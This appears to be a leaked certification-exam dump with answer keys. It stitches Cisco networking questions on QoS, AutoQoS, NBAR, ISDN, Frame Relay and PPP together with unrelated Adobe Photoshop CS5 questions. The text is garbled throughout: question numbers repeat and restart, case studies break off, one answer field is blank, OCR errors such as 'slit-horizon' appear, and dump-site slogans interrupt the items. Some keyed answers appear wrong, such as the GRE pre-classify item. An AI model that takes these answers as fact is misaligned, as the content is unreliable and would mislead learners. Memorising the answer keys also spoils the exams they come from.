A. Insufficient bandwidth is creating a bottleneck transiting from the FastEthernet0/0 to the Serial0/3/0 interface.
B. Auto-Discovery did not have an opportunity to detect the video traffic.
C. AutoQoS was implemented on the incorrect interface
D. A policy matching DSCP value 46 (ef) was not applied on the outbound interface.
Answer: B, D
Question: 3 Which QoS model has been implemented on the Branch router by Auto QoS for the various expected traffic types?
A. Best Effort
B. IntServ
C. DiffServ
D. Priority Queuing
Answer: C
Question: 4 During periods of congestion, how has AutoQoS configured the router to facilitate outbound video traffic on the Serial0/3/0 interface?
A. Video traffic will be associated with the priority queue by using a DSCP value of 46 (ef).
B. Video traffic will be associated with the AutoQoS-Signaling-Se0/3/0 class and its related policy through use of the H.323 protocol.
C. Video traffic will only be queued on the local FastEthernet0/0 interface using a DSCP value of 46 (ef).
D. Video traffic will be associated with the “class-default” and use WFQ.
Answer: D
Question: 5
Network topology exhibit:
You are a network technician at PassGuide.com, examine the exhibit carefully. You need to finalize the
configuration of router PassGuide-R in this scenario. In particular you should decide which interface types
can be used for connecting router PassGuide-R to the phone and fax respective ely.
(Choose two.)

A. Connect the analog phone to an FXS port.
B. Connect the fax to an FXS port.
C. Connect the fax to an FXO port.
D. Connect the analog phone to an FXO port.
Answer: A, B
Question:164 Scenario: Ferrous Plastics,Inc.is a medium sized company,with two locations connected through a serial WAN link.The WAN routers should be configured to only see NBAR to classify traffic interface Fa0/1 prior to using low latency queuing on the outgoing interface s0/1/0.Recently configuration changes were made to the inter-connecting routers WAN-R1 and WAN-R2.The company is now experiencing QoS related problems which they believe are associated with these changes. Router WAN-R2 is not marking traffic correctly on Fa0/1 based on NBAR classification.Which of the following is correct?
Topology:
Case Study# 3 (Questions)
Questions: 1 Router WAN-R2 is not marking traffic correctly on Fa0/1 based on NBAR classification.Which of the following is correct?
A. Protocol discovery is applied to the incorrect interface.
B. CEF is not configured.
C. The service-policy is applied in the wrong direction.
D. The service-policy configured on interface Fa0/1 should be policy.
Answer: D
Question: 2 The network administrator has asked how FTP traffic is being classified on router WAN R1.Which of the following is correct?
A. FTP traffic is marked correctly,but no other active protocols are marked correctly.
B. FTP traffic is marked correctly based on NBAR classification.
C. FTP traffic is marked correctly,but is not using NBAR for classification.
D. FTP traffic is not marked correctly based on NBAR classification as protocol discovery is applied to the incorrect interface.
Answer: C

Question: 3
On router WAN-R1,which protocol is being marked as af21?

A. CITRIX
B. Exchange
C. FTP D. HTTP
E. SQLNET
Answer: E

Question: 4
On rouoter WAN-R1,which protocol is being classified as mission critical?

A. CITRIX
B. Exchange
C. FTP
D. HTTP
E. SQLNET
Answer: A
A.

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 164
Question: 165 Which 802.1x Extensible Authentication Protocol (EAP) type supports authentication using digital certificates?
A. EAP-TLS
B. EAP-FAST
C. LEAP
D. WPA

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 165
Which three configuration tasks are required to successfully deploy NBAR to recognize TCP and UDP stateful protocols? (Choose three.)
A. Over leased lines, use the multilink ppp command to reduce latency and jitter, and to create Distributed Link Fragmentation and interleaving.
B. Use the service-policy command to attach a traffic flow to an interface on the router.
C. Use the ip rsvp bandwidth command to set a strict upper limit on the bandwidth NBAR uses, and to guarantee admission of any flows.
D. Use the policy-map command to define one or more QoS policies (such as shaping, policing, and so on) to apply to traffic defined by a class map.
E. Use the random-detect dscp command to modify the default minimum and maximum thresholds for the DSCP value.
F.     Use the class-map command to define one or more traffic classes by specifying the criteria by which traffic is classified.

Correct Answer: BDF Section: (none) Explanation
Explanation/Reference:
QUESTION 166
Which two voice-gateway, analog-interface statements are true? (Choose two.)
A. A router can use a Foreign Exchange Office (FXO) interface to connect to a PSTN.
B. A router can use a Foreign Exchange Station (FXS) interface to connect to a PBX.
C. An analog tax machine can connect to a Foreign Exchange Office (FXO) interface.
D. An analog telephone can connect to a Foreign Exchange Station (FXS) interface.

Correct Answer: AD Section: (none) Explanation
Explanation/Reference:
QUESTION 167
Voice activity detection (VAD) suppresses the transmission of silence patterns. On average, and assuming that a link carries at least 24 calls, what percentage of total bandwidth could VAD save?
A. 5
B. 15
C. 25
D. 35
E. 45
F.     55
Correct Answer: D Section: (none) Explanation

Explanation/Reference:
QUESTION 168
Which two steps are executed in the deployment of Cisco AutoQos for Eeterprise?(Choose two.)
A. The customer uses SNMP statistics to create the policy.
B. QoS policy templates are generated and installed on the interface.
C. RTP is used to generate the policy.
D. LLQ, cRTP, and LFI are used to automatically discover the policy.
E. The auto-generated policy is manually optimized before implementation.
F. Auto-discovery is used to determine what traffic is on the interface.

Correct Answer: BF Section: (none) Explanation
QUESTION 169
A GRE tunnel is configured between a local and a remote site. Where should the service policy be applied to classify packets based on the pretunnel header?
A. In global configuration mode, apply the service policy and use the qos pre-classify command.
B. In global configuration mode, apply the service policy but do not use the qos pre- classify command.
C. Apply the service policy on the physical interface but do not use the qos pre-classify command.
D. Apply the service policy on the tunnel interface but do not use the qos pre-classify command.
E. Apply the service policy on the tunnel interface and use the qos pre-classify command.

Correct Answer: B Section: (none) Explanation
QUESTION 170
Which three statements about classification marking of traffic at Layer 2 are true? (Choose three.)
A. A Frame Relay header includes a 1-bit discard eligible (DE) bit to provide the class of service (CoS).
B. An ATM header includes a 1-bit DE field to provide the CoS.
C. An MPLS EXP field is inserted in the Layer 3 IP precedence field to identify the CoS.
D. The CoS field only exists inside Ethernet frames when 802.1Q or Inter-Switch Link (ISL) trunking is used.
E. In the IEEE 802.Ip standard, three bits are used to identify the user priority bits for the CoS.
F. In the IEEE 802.lq standard, six bits are used to identify the user priority bits for the CoS.

Correct Answer: ADE Section: (none) Explanation
QUESTION 171
Which functionality in the Cisco IDS software will enable a router to permanently act as a call agent for IP phones?
A. Cisco CallManage
B. Cisco CallManager Express (CME)
C. Cisco CallManager Gateway (CMG)
D. Cisco CallManager Voice Gateway (CMVG)
E. Media Gateway Control Protocol (MGCP)

Correct Answer: B Section: (none) Explanation
QUESTION 172
What is true about Quality of Service (QoS) for VPNs?
A. QoS preclassification is only supported on generic routing encapsulation (GRE) and IPsec VPNs.
B. QoS preclassification is not required in Layer 2 Tunneling Protocol (L2TP), Layer 2 Forwarding (L2F), and Point-to-Point Tunneling Protocol (PPTP) VPNs.
C. QoS preclassification is supported on IPsec AH VPNs, but not on IPsec ESP VPNs.
D. The QoS-for-VPNs feature (QoS preclassification) is designed for VPN transport interfaces.
E. With IPsec tunnel mode, the type of service (ToS) byte value is copied automatically from the original IP header to the tunnel header.

Correct Answer: E Section: (none) Explanation
QUESTION 173
Which three traffic descriptors are typically used as QoS markings for packets or frames entering the network? (Choose three.)
A. protocol type
B. cos
C. DSCP
D. IP precedence
E. destination address
F. input interface

Correct Answer: BCD Section: (none) Explanation
QUESTION 174
Refer to the exhibit.

What is the configuration an example of?
A. enabling modular QoS over Frame Relay
B. enabling Real-Time Transport Protocol (RTP) header compression
C. enabling distributed compressed Transmission Control Protocol
D. enabling latency and jitter reduction for Transmission Control traffic
E. enabling TCP header compression

Correct Answer: E Section: (none) Explanation
Explanation/Reference:
QUESTION 175
Which traffic descriptor is used for marking?
A. weighted RED (WRED) orange or green labels
B. modular QoS CU (MQC) application layer tags
C. Deficit Round Robin (DRR) precedence bits
D. header compression tags
E. MPLS experimental bits
F. FIFO Layer 2 descriptor labels (L2DL)

Correct Answer: E Section: (none) Explanation
Explanation/Reference:
QUESTION 176
Refer to the exhibit.

The auto discovery QoS command was configured on this interface 24 hours prior to the above configuration. Which statement is true about the configuration?
A. An IP address is needed on interface serial 1/2
B. The auto discovery qos command should be configured on the subinterface.
C. A generated AutoQoS policy has been applied to serial 1/2.
D. The collection of data has stopped.

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 177
Refer to the exhibit.

On the basis of the configuration that is provided,which statement is true?
A. The Auto QoS policies will be attached to the interface.
B. Data about the network traffic will be collected via the use of NBAR-based protocol discovery,and the traffic on the network will be analyzed.
C. The class maps and policy maps will be created and installed on the basis of the information that is collected during the autodiscovery phase.
D. Templates will be created that will be used to create policy maps and class maps to configuer the QoS features on the network.

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 178
Cisco provides two enhancements to 802.11 security which protect a WEP key from exploits. Which two technologies provide these security enhancements? (Choose two.)
A. 802.lx
B. Cisco Temporal Key Integrity Protocol (CKIP)
C. Extensible Authentication Protocol-Flexible Authentication via Secure Tunneling (EAP- FAST)
D. Cisco Message Integrity Check (CMIC)
E. One-Time Passwords (OTP)
F. Advanced Encryption Standard (AES)

Correct Answer: BD Section: (none) Explanation
QUESTION 179
What is the maximum number of access points that can be supported from a single Wireless LAN Solution Engine (WLSE) console?
A. 1000
B. 1500
C. 2000
D. 2500
E. 3000
F. 3500
Correct Answer: D Section: (none) Explanation
QUESTION 180

1) Which DSCP value will the Branch router apply to voice traffic destined for the Central from the IP Phone on the local network?
A. 46 (ef)
B. 4B(vs6)
C. 50
D. 56(cs7)
E. 70
Answer: A
2) Which DSCP value will the Branch router apply to voice traffic destined for the IP Phone on the local network from the Central site?
A. 46 (ef]
B. 48(cs6)
C. 5
D. 56(cs7)
E. 70
Answer: B
3) Which QoS model has been implemented on the Branch router by the SDM wizard for the various expected traffic types?
A. Best Effort
B. IntServ
C. DiffServ
D. Priority Queuing
Answer: C
4) During periods of congestion which queuing method will be applied to outbound traffic on the Serial O/3/0 interface?
A. Low Latency Queuing
B. Class-based Weighted Fair Queuing
C. Weighted Round Robin
D. Round Robin
E. No queuing is applied to outbound traffic on this interface.
Answer: A
A.

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 181

1)

2) Which two statements most accurately identify what has caused the occasional poor video quality experienced by the Law Solutions, Inc.? (Choose two.)
A. Insufficient bandwidth is creating a bottleneck transiting from the FastEthernetG/O to the Serial O/3/0 interface.
B. Auto-Discovery did not have an opportunity to detect the video traffic.
C. AutoQoS was implemented an the incorrect interface
D. A policy matching DSCP value 46 (ef) was not applied on the outbound interface.
Answer: BD
3) Which QoS model has been implimented on the Branch router by Auto QoS for the various expected traffic types?
A. Best Effort
B. IntServ
C. DiffServ
D. Priority Queuing
Answer: C
4) During periods of congestion, haw has AutoQoS configured the router to facilitate outbound video traffic on the SerialO/3/0 interface?
A. Video traffic will be associated with the priority queue by using a DSCP value of 46 (ef}.
B. Video traffic will be associated with the AutoQaS-Signaling-SeO/3/0 class and its related policy through use of the H.323 protocol.
C. Video traffic will only be queued on the local FastEthernetO/0 interface using a DSCP value of 46 (ef).
D. Video traffic will be associated with the “class-default” and use WFQ.
Answer: D
A.

Correct Answer: Section: (none) Explanation
Explanation/Reference:
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QUESTION 176
Which policy map configuration command can be used to mitigate the problem of TCP global synchronization?
A. random-detect
B. queue-limit 10
C. compression header ip tcp
D. priority 24

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 177
Given the above output, what is the current CIR for this VC?
A. 1000
B. 2000
C. 8000
D. 100000

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 178
Which command associates a map class with an interface or subinterface when configuring Frame Relay traffic shaping?
A. frame-relay map
B. frame-relay class
C. map-class frame-relay
D. frame-relay map-class
E. map frame-relay class

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 179
Given the partial configuration, what function does the command dialer watch-group 8 have?
A. Any IP traffic, except OSPF traffic, will cause interface BRI0 to dial RouterB
B. When the watched route, 172.22.53.0/24, is removed from the routing table and there is no other valid route, dialer watch then initiates a call to RouterB.
C. When the watched route, 172.22.53.0/24, is removed from the routing table, regardless of whether there is another valid route pointing to an interface other than interface BRI0, dialer watch initiates the call to RouterB
D. When the load threshold is met and any IP traffic, except OSPF traffic, is destined for 172.22.53.0/24 network, the dialer watch will initiate the call to RouterB.

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 180
Refer to the exhibit. Based on the partial configuration shown, how is this router configured?
A. as a PPPoA client
B. as a PPPoE client
C. as an ISDN PRI group interface
D. as an ISDN BRI group interface

Correct Answer: A Section: (none) Explanation Explanation/Reference:
QUESTION 181
A network administrator needs to provide telecommuters with access to corporate network services. For security reasons, the asynchronous interface should be configured to provide an in-band PPP connection only and not allow an EXEC connection. What must the administrator configure to accomplish this?
A. Router(config-if)# async mode dedicated
B. Router(config-if)# async mode interactive
C. Router(config-if)# async dynamic address
D. Router(config-line)# autoselect ppp during-login

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 182
Examine the configuration.
When using CBWFQ, what will happen to UDP packets if their destination queue is full?
A. The router will send a BECN message to the host.
B. The packet will be sent to the class-default queue.
C. The host will resend the packet if it does not receive an ACK message
D. Tail dropping will occur.

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 183
Which three conditions would suggest using weighted random early detection as an alternative to tail drops when configuring class-based weighted fair queuing? (Choose three.)
A. Your network is designed for a more passive rather than active strategy in discarding packets.
B. You want to enable TCP global synchronization to avoid congestion.
C. You would like to use IP Precedence or DSCP values to make early dropping decisions.
D. The bulk of your traffic is TCP traffic.
E. You would like a chance to decide which packets will be dropped when it becomes necessary.

Correct Answer: CDE Section: (none) Explanation
Explanation/Reference:
QUESTION 184
Refer to the show ip route output of the exhibit. RIP is configured on R1, R2, and R3. All three routers are able to ping each other. However, R2 is not receiving the routes advertised by R3. What can be done to resolve this problem?
A. Configure frame-relay inverse-arp on the R1 serial0.1 subinterface.
B. Configure no frame-relay inverse-arp on the R1 serial0.1 subinterface.
C. Configure ip slit-horizon on the R1 serial0.1 subinterface.
D. Configure no ip slit-horizon on the R1 serial0.1 subinterface.
E. Configure ip slit-horizon on R2 and the R3 serial0 interfaces.
F. Configure no ip slit-horizon on R2 and the R3 serial0 interfaces.

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 185
When a PPP connection is being established, which three configuration features are negotiated through the LCP? (Choose three.)
A. callback
B. multilink
C. encryption
D. compression
E. protocol multiplexing

Correct Answer: ABD Section: (none) Explanation
Explanation/Reference:
QUESTION 186
Identify two characteristics of the RADIUS protocol when associated with AAA? (Choose two.)
A. uses TCP
B. fully encrypts the body of the packet
C. based upon open standards
D. allows router commands to be grouped on a per-user or per-group basis
E. combines the functions of authorization and authentication

Correct Answer: CE Section: (none) Explanation
Explanation/Reference:
QUESTION 187
Which statement best describes the following configuration ?
policy-map-Policy1 class Class1 priority 10 class Class2 bandwidth 20 queue-limit 45 class Class3 bandwidth 30 random-detect A. WRED is used in Class1 and Class3. Traffic not matching any classes will be dropped.
B. WRED is used in Class1 and Class3. Traffic not matching any classes will be best effort by a default class
C. WRED is used in Class3. Traffic not matching any classes will be dropped
D. WRED is used in Class3. Traffic not matching any classes will be handled by the class-default class

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 188
Given the above configuration commands, when will additional B channels be added to the multilink PPP bundle?
A. when the total load of outbound traffic reaches 128 k
B. when the total load of inbound traffic reaches 128 k
C. when the maximum calculated load as the larger of the outbound and inbound loads reaches 128 k
D. when the total load of inbound traffic reaches 50 percent of bandwidth utilization
E. when the total load of outbound traffic reaches 50 percent of bandwidth utilization
F. when the load of the inbound or outbound traffic reaches 50% utilization

Correct Answer: F Section: (none) Explanation
Explanation/Reference:
QUESTION 189
Which two encapsulation methods require that an 827 ADSL router be configured with a PPP username and CHAP password? (Choose two.)
A. PPPoE with the 827 configured as a bridge
B. PPPoE with the 827 configured as the PPPoE client
C. PPPoA
D. RFC 1483 Bridged with the 827 configured as the PPPoE client
E. RFC 1483 Bridged with the 827 configured as a bridge

Correct Answer: BC Section: (none) Explanation
Explanation/Reference:
QUESTION 190
Which command will allow RTA to test its legacy DDR configuration without having any dialer map statements configured?
A. isdn test call interface bri 0 5551234 speed 56
B. ping 10.10.10.2
C. debug isdn q931
D. debug isdn q921
Correct Answer: A Section: (none) Explanation

Explanation/Reference:
QUESTION 191
In Frame Relay traffic shaping, what does the term committed burst (Bc) refer to?
A. the rate, in bits per second, at which the Frame Relay switch agrees to transfer data
B. the maximum number of bits that the switch agrees to transfer during any Tc
C. the maximum number of uncommitted bits that the Frame Relay switch attempts to transfer beyond the CIR for the first time interval only
D. the number of bits, during any Tc, over the CIR that can be transmitted but will be marked DE

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 192
Given the partial configuration, what function does the command dialer watch-group 8 have?
A. Any IP traffic, except OSPF traffic, will cause interface BRI0 to dial RouterB
B. When the watched route, 172.22.53.0/24, is removed from the routing table and there is no other valid route, dialer watch then initiates a call to RouterB.
C. When the watched route, 172.22.53.0/24, is removed from the routing table, regardless of whether there is another valid route pointing to an interface other than interface BRI0, dialer watch initiates the call to RouterB.
D. When the load threshold is met and any IP traffic, except OSPF traffic, is destined for 172.22.53.0/24 network, the dialer watch will initiate the call to RouterB.

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 193
How can an ISDN interface be used as a backup link for a primary interface and still use DDR to communicate with other sites?
A. By using dialer profiles.
B. An ISDN interface cannot be both.
C. With the command backup interface serial 0/0 on the bri0/0 interface along with normal DDR commands.
D. With the command backup interface bri 0/0 on the physical interface and normal DDR commands on the bri0/0 interface

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 194
How is cable broadband technology able to transmit downstream and upstream data while at the same time delivering television content?
A. The cable operator uses the VHF hyperband to transmit and receive data signals.
B. The cable operator assigns any available spectrum to data, depending on how its own television spectrum is being used.
C. The cable operator uses specific bandwidths for data signals specified by DOCSIS.
D. The cable operator places its data signals into clean areas where there is no interference from noise or other signals.

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 195
Refer to the exhibit. Given the output generated by the debug dialer command, what solution can be configured on R1 to correct the problem?
A. Configure a dialer-list in global configuration mode.
B. Configure the dialer-group command on the dialer interface.
C. Configure the dialer-group command on the BRI0 physical interface.
D. Configure the dialer pool command on the dialer interface.
E. Configure the dialer pool-member command on the dialer interface.
F. Configure a local username entry for R2.

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 196
In the exhibit, R1 is connected over a Frame Relay cloud to R2 and a non-Cisco device, R3. What must be configured on the R1 S0 interface to achieve full connectivity with the spoke routers?
A. encapsulation frame-relay frame-relay map ip 10.10.10.2 102 broadcast frame-relay map ip 10.10.10.3 103 broadcast
B. encapsulation frame-relay ietf frame-relay map ip 10.10.10.2 102 broadcast frame-relay map ip 10.10.10.3 103 broadcast
C. encapsulation frame-relay frame-relay map ip 10.10.10.2 102 broadcast ietf frame-relay map ip 10.10.10.3 103 broadcast
D. encapsulation frame-relay frame-relay map ip 10.10.10.2 102 broadcast frame-relay map ip 10.10.10.3 103 broadcast ietf
E. encapsulation frame-relay frame-relay map ip 10.10.10.2 102 broadcast cisco frame-relay map ip 10.10.10.3 103 broadcast

Correct Answer: D Section: (none) Explanation Explanation/Reference:
QUESTION 197
Given the output shown in the exhibit, which three statements are true about PPP compression? (Choose three.)
A. The interface is configured with TCP header compression.
B. The interface is configured with STAC compression.
C. The interface is configured with Predictor compression.
D. The actual data throughput of the router is less than what it would be if compression were not being applied.
E. The total amount of data to be transmitted before applying compression is 160,000.
F. The total amount of data to be transmitted after applying compression is 40,000.

Correct Answer: BDE Section: (none) Explanation
Explanation/Reference:
QUESTION 198
Refer to the exhibit. Which policy-map configuration will best ensure that packets classified as voice are not dropped in favor of other network traffic?
A. POLICY-1
B. POLICY-2
C. POLICY-3
D. POLICY-4

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 199
Which type of remote-user VPN has users dial in to an Internet service provider (ISP) where an ISP-owned device establishes a secure tunnel to the users’ enterprise network?
A. client initiated VPN
B. network access server (NAS) initiated VPN
C. intranet VPN
D. extranet VPN

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 200
Which set of commands will accomplish the tasks below?
-Make bri0/0 a backup interface to serial0/0.

Activate the backup interface 5 seconds after the primary link fails and deactivate the backup interface 10 seconds after the primary link is re-established.

A.
Router(config)#interface bri 0/0 Router(config-if)#backup interface serial 0/0 Router(config-if)#backup delay 5 10

B.
Router(config)#interface serial 0/0 Router(config-if)#backup interface bri 0/0 Router(config-if)#backup delay 5 10

C.
Router(config)#interface bri 0/0 Router(config-if)#backup interface serial 0/0 Router(config-if)#backup delay 10 5

D.
Router(config)#interface serial 0/0 Router(config-if)#backup interface bri 0/0 Router(config-if)#backup delay 10 5

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 201
When a cable modem is being provisioned to operate with a host system for Internet services, which two options must occur before Layer 1 and 2 connectivity can occur? (Choose two.)
A. The cable modem must request an IP address and core configuration information from a Dynamic Host Configuration Protocol (DHCP) server
B. The cable modem powering up must scan and lock on the RF data channel in the downstream path.
C. The modem must request a DOCSIS configuration file from a TFTP server.
D. The cable modem must register with the CMTS.
E. The modem must read specific maintenance messages in the downstream path.

Correct Answer: BE Section: (none) Explanation
Explanation/Reference:
QUESTION 202
From the CBWFQ configuration referenced in the display, what is the queue-limit for class2?
A. no limit
B. 16
C. 32
D. 64
E. 128

Correct Answer: D Section: (none) Explanation
Explanation/Reference:

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QUESTION 81
You are adjusting a photograph in the Camera Raw dialog box. You have darkened the top of the image by
dragging the Graduated Filter tool from the top to the bottom of the image, and then decreasing the
Brightness slider. Now you want to lighten the bottom of the photograph.
What should you do?

A. Option-click (Mac OS) or Alt-click (Windows) the red circle icon in the graduated filter you’ve applied to the image; then increase the Brightness slider.
B. Click the + (plus) button to the right of the Brightness slider; then increase both the Brightness and 19 /
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Exposure sliders.

C. Increase the Brightness slider, click the New button, and drag the Graduated Filter tool from the bottom to the top of the photograph.
D. Drag the Graduated Filter tool from the bottom to the top of the photograph; then increase the Brightness slider.

Correct Answer: D
QUESTION 82
A speck of dust on your camera lens has caused a spot on a raw photograph. In Camera Raw, you select
the Spot Removal tool and click on the spot. The spot is now covered with another unpleasant color so you
want to change the pixel sampling area.
What should you do?

A. Click on a different area of the photo.
B. Drag the green-and-white ring.
C. Delete the Spot Removal tool edits you ve made, and start over.
D. Alt-click (Windows) or Option-click (Mac OS) on a different area of the photo.

Correct Answer: B
QUESTION 83
Adobe Camera Raw 6 includes controls for reducing which kinds of digital noise? (Choose two.)
A. Luminance noise
B. JPEG artifacts
C. Color noise
D. Color banding
E. Color dithering

Correct Answer: AC
QUESTION 84
You ve adjusted a raw photograph in Camera Raw. Now you are ready to open the image in Photoshop to
add some text. However, you want to be able to quickly bring the image from Photoshop back into Camera
Raw to change your Camera Raw adjustments.
What should you do?

A. Click the Save Image button in Camera Raw; then open the saved file directly in Photoshop.
B. Click the Done button in Camera Raw; then open the file directly in Photoshop.
C. Hold down the Shift key to change the Open Image button to Open Object, and click that button.
D. Hold down the Option (Mac OS) or Alt (Windows) key and click the done button.

Correct Answer: C
QUESTION 85
You want to open a JPEG directly into Camera Raw to adjust it there. What should you do? (Choose two.)
A. In Adobe Bridge, select the JPEG thumbnail and press Control+R (Windows) or Command+R (Mac
OS)
B. In Adobe Bridge, hold down Option (Mac OS) or Alt (Windows) and double-click the JPEG thumbnail.
C. In Adobe Bridge, select the JPEG thumbnail and then choose File > Place > In Photoshop.
D. In Photoshop, choose File > Open, select the JPEG file, set the Format menu to Camera Raw, and click Open.
E. In Photoshop, navigate to the JPEG file in Mini Bridge and double-click its thumbnail. 20 / 28 The safer , easier way to help you pass any IT exams.

Correct Answer: AD
QUESTION 86
You ve adjusted a raw photograph in Camera Raw, and you d like to create a small copy of the adjusted
photograph as a JPEG to attach to an email.
Which is the best workflow to follow?

A. In Camera Raw, click the Open Image button. Then, in Photoshop, open the Save for Web & Devices dialog box, and set the format to JPEG, reduce the file size, and click Save.
B. In Camera Raw, click the Save Image button, and save as JPEG.Then open the file in Photoshop, resize it in the Image Size dialog box, and save as JPEG.
C. In Camera Raw, click the Save Image button, and save as JPEG.Then open the file in Photoshop, open the Save for Web & Devices dialog box, and set the format to JPEG, reduce the file size, and click Save.
D. In Camera Raw, click the Save Image button, and save as JPEG.Then select the file in Mini-Bridge, choose Tools > Photoshop > Image Processor, and resize and save as JPEG from there.

Correct Answer: A
QUESTION 87
You have selected the Mixer Brush tool. You want to sample multiple colors from the current image to load
in the brush s paint reservoir.
What should you do?

A. Hold the Alt (Windows) or Option (Mac OS) key as you click on the photograph in the document window.
B. Turn on the Load the Brush after Each Stroke button in the Options bar.
C. Hold the Shift key as you click on the photograph in the document window.
D. Switch to the photograph layer and hold the Shift key as you click on the photograph in the document window.

Correct Answer: A
QUESTION 88
You have the Mixer Brush tool selected in the Tools panel. What does the Wet slider in the options bar control?
A. How much paint the brush picks up from the canvas
B. How much of the foreground color the brush uses
C. How much of the background color the brush uses
D. How much the brush tip is cleaned after each stroke
Correct Answer: A
QUESTION 89
Bristle Tip brush tips work with which tools? (Choose two.)
A. Mixer Brush tool
B. Dodge tool
C. The Gradient tool
D. The Pen tool
E. The Healing Brush tool

Correct Answer: AB
QUESTION 90
You want to fill an area of your CMYK image with a process color equivalent of a color from a Pantone
21 / 28
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swatch book.
Which Photoshop features help you do this? (Choose two.)

A. Choose New Spot Channel from the Channels panel menu, click the color icon and choose a color from the Select Channel Color dialog box.
B. Choose Select > Color Range and select the Localized Color Clusters checkbox.
C. Click the foreground color picker then click the Color Libraries button in the Color Picker.
D. Choose a library of swatches presets from the Swatches panel menu then click the color in the panel.
E. Choose Lab sliders from the Color panel menu and then choose a color in the panel.

Correct Answer: CD
QUESTION 91
You want to sample a color from a website to use as the foreground color in Photoshop. You have the website visible in a web browser and both the web browser and Photoshop are visible on your screen. What should you do?
A. Click and hold with the Eyedropper tool in the Photoshop document window, drag from there to your web browser, and release your mouse over the color you want.
B. Select the Eyedropper tool, then hold the Alt key (Windows) or Option key (Mac OS) as you click on the color in the web browser.
C. Select the Eyedropper tool, then hold the Shift key as you click on the color in the web browser.
D. Select the Color Sampler tool, then click on the color you want in the Web browser.

Correct Answer: A
QUESTION 92
You want to apply a Shadows/Highlights adjustment to a layer in your document. You want to be able to
change the adjustment without causing further degredation to the image later. You have selected the layer
selected.
What should you do to prepare the image, before you choose the command Image > Adjustments >
Shadows/Highlights? (Choose two.)

A. Choose Filter > Convert for Smart Filters.
B. Duplicate the layer, and select the duplicate layer.
C. Choose Convert to Smart Object from the Layers panel menu.
D. Click the Add a Mask button at the bottom of the Layers panel.
E. Click Brightness/Contrast in the Adjustments panel to add a new Brightness/Contrast adjustment layer.

Correct Answer: AC
QUESTION 93
You ve applied a filter to a layer as a Smart Filter. Now you want to reduce the strength of that filter s
effect.
How can you do that? (Choose two.)

A. Double-click the Edit Blending Options icon in the Layers panel, and adjust the opacity.
B. Choose the filter from the Filter menu and adjust the values to the desired strength.
C. Double-click the name of the Smart Filter in the Layers panel, and adjust the filter options.
D. Select the Smart Filter in the Layers panel, and choose Edit > Fade.
E. Select the layer in the Layers panel, and adjust the Opacity slider.

Correct Answer: AC
QUESTION 94
You have the Gradient Tool selected. You want to draw a gradient in your image and set the
22 / 28
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transparency level at a particular point in the gradient.
What should you do?

A. Add a new layer, draw the gradient on the new layer, and set the opacity of the layer.
B. Change the value in the Opacity field of the Options bar before drawing the gradient.
C. Click on the gradient in the Options bar to open the Gradient Editor dialog box, click just above the gradient bar and change the value in the Opacity field.
D. Click on the gradient in the Options bar to open the Gradient Editor dialog box, double-click on a color stop below the gradient bar, and adjust the color in the color picker.

Correct Answer: C
QUESTION 95
You plan on filling a layer with a noise gradient. The initial gradient you create in the Gradient Editor has
too many overly saturated colors.
What can you do in the Gradient Editor to reduce the saturation of colors in the gradient?

A. Change the Roughness setting.
B. Select the Restrict Colors option.
C. Change the Color Model pop-up menu to LAB
D. Select the Add Transparency option.

Correct Answer: B
QUESTION 96
You have ten files that you would like to be able to access frequently. You would like to create a collection
that you can view in Mini Bridge. You select the files in Mini Bridge and drag them on top of the Collections
item in the Mini Bridge Navigation area.
What happens?

A. Mini Bridge creates a new collection that contains those files.
B. Mini Bridge creates a smart collection that contains those files.
C. Nothing. You can t create a new collection in Mini Bridge.
D. Mini Bridge creates a new folder on your Desktop that contains those file.

Correct Answer: C
QUESTION 97
You have an image file currently open in Photoshop. You select the thumbnail of a different image file in
the Mini Bridge panel and choose Tools > Place > In Photoshop.
What happens?

A. The selected image is placed in the open file as a smart object layer above the current image layer.
B. The selected image is placed in the open file as a pixel layer above the current image layer.
C. The selected image replaces the current layer or Background layer in the open file.
D. The selected image is opened in a new tab in the Document window.

Correct Answer: A QUESTION 98
You are on a Windows computer, and you want to use a Photoshop plug-in that works only in 32- bit mode. How do you run Photoshop CS5 for Windows as a 32-bit application?
A. Install both a 32-bit and a 64-bit version of Photoshop. Switch between them by quitting one version of Photoshop and launching the other.
B. Right-click the Photoshop application icon, and choose Properties from the context menu.
C. Change the Display mode of your monitor to a lower resolution. 23 / 28 The safer , easier way to help you pass any IT exams.
D. Allocate more RAM to Photoshop in Photoshop preferences.

Correct Answer: A QUESTION 99
Which color space contains the widest color gamut?
A. ProPhoto RGB
B. Adobe RGB (1998)
C. Color Match RGB
D. sRGB IEC61966-2.1

Correct Answer: A QUESTION 100
You have an RGB image that you want to convert to CMYK.Y our print service bureau has given you a custom ICC profile for their printing conditions that differs from your current Photoshop Color Settings. Which feature should you use to convert to CMYK?
A. Choose Edit > Convert to Profile.
B. Choose Edit > Assign Profile.
C. Choose Image > Mode > CMYK.
D. Choose Edit > Color Settings, and choose the Custom CMYK option from the CMYK menu.

Correct Answer: A QUESTION 101
You are dragging a panel toward the edge of the monitor where you have docked other panels. Which key should you hold down as you drag to prevent this panel from docking with the other panels?
A. The Alt key (Windows) or Option key (Mac OS)
B. The Shift key
C. The Esc key
D. The Ctrl key (Windows) or Command key (Mac OS)

Correct Answer: D QUESTION 102
